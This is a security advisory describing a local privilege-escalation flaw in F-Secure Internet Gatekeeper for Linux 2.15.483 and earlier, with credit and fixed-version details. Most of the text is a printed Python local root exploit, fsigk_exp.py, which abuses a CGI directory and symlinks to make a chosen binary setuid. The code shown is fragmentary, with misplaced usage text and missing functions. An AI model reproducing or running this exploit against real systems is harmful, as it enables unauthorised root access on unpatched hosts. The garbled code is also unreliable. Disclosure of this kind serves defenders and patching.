"F-Secure Internet Gatekeeper is a high-performance and fully automated antivirus and content filtering solution for protecting corporate e-mail (SMTP) and web traffic (HTTP, FTP over HTTP) at the Internet gateway."
Lack of proper input validation within F-Secure Internet Gatekeeper allow local attackers to cause the program to execute arbitrary programs.
Credit:
The information has been provided by Xavier de Leon.
Vulnerable Systems:
* F-Secure Internet Gatekeeper for Linux version 2.15.483 and prior
Immune Systems:
* F-Secure Internet Gatekeeper for Linux version 2.15.484
Exploit:
#!/usr/bin/env python
#
# F-Secure Anti-Virus Internet Gatekeeper for Linux <2.15.484
# F-Secure Anti-Virus Linux Gateway <2.16 # added line 3-4 for references /str0ke
#
#######################################
# fsigk_exp.py: F-Secure Internet Gatekeeper for Linux local root exploit
# acknowledgements: everyone in pure-elite and uDc.
#
# coded by: xavier at tigerteam.se [http://xavsec.blogspot.com]
#######################################
#######################################
# Make proper checks and import nessesary calls from modules.
#
try:
from sys import argv
except Exception:
print "the 'sys' module could not be loaded"
raise SystemExit
try:
from os import unlink, stat, error, symlink, system, chmod
except Exception:
print "the 'os' module could not be loaded"
raise SystemExit
try:
import getopt
except Exception:
print "the 'getopt' module could not be loaded"
raise SystemExit
options:
--version show program's version number and exit.
-h, --help show this help message and exit.
-s, --suid file location to suid.
-d, --dir cgi directory.
-c, --clean cleans any left over files from the environment creation.
-# enter numerical value of vulnerable file to exploit. [list below]
def _handleopts():
for opt in argv[1:]:
if opt in ("-h", "--help"):
print "%s" % (__usage__),
raise SystemExit
if opt in ("-v", "--version"):
print "%s (%s)" % (__version__, __lastedit__),
raise SystemExit
for o, a in opts:
if o in ("-c", "--clean"):
_clean()
print "[*] done"
raise SystemExit
if o in ("-d", "--dir"):
if _exists(a):
_dir_ = a
else:
print "[-] unable to access the %s directory" % (_dir_),
raise SystemExit
if o in ("-s", "--suid"):
if _exists(a):
_payload_ = _suid(a)
else:
print "[-] unable to access binary."
raise SystemExit
if _dir_ == None:
print "[-] no directory was given [try -h for help menu]"
raise SystemExit
if _payload_ == None:
print "[-] enter binary to suid [try -h for help menu]"
raise SystemExit
_combined_ = "%s/%s" % (_dir_, _method_)
if not _exists(_combined_):
print "[-] method not possible, try another."
raise SystemExit
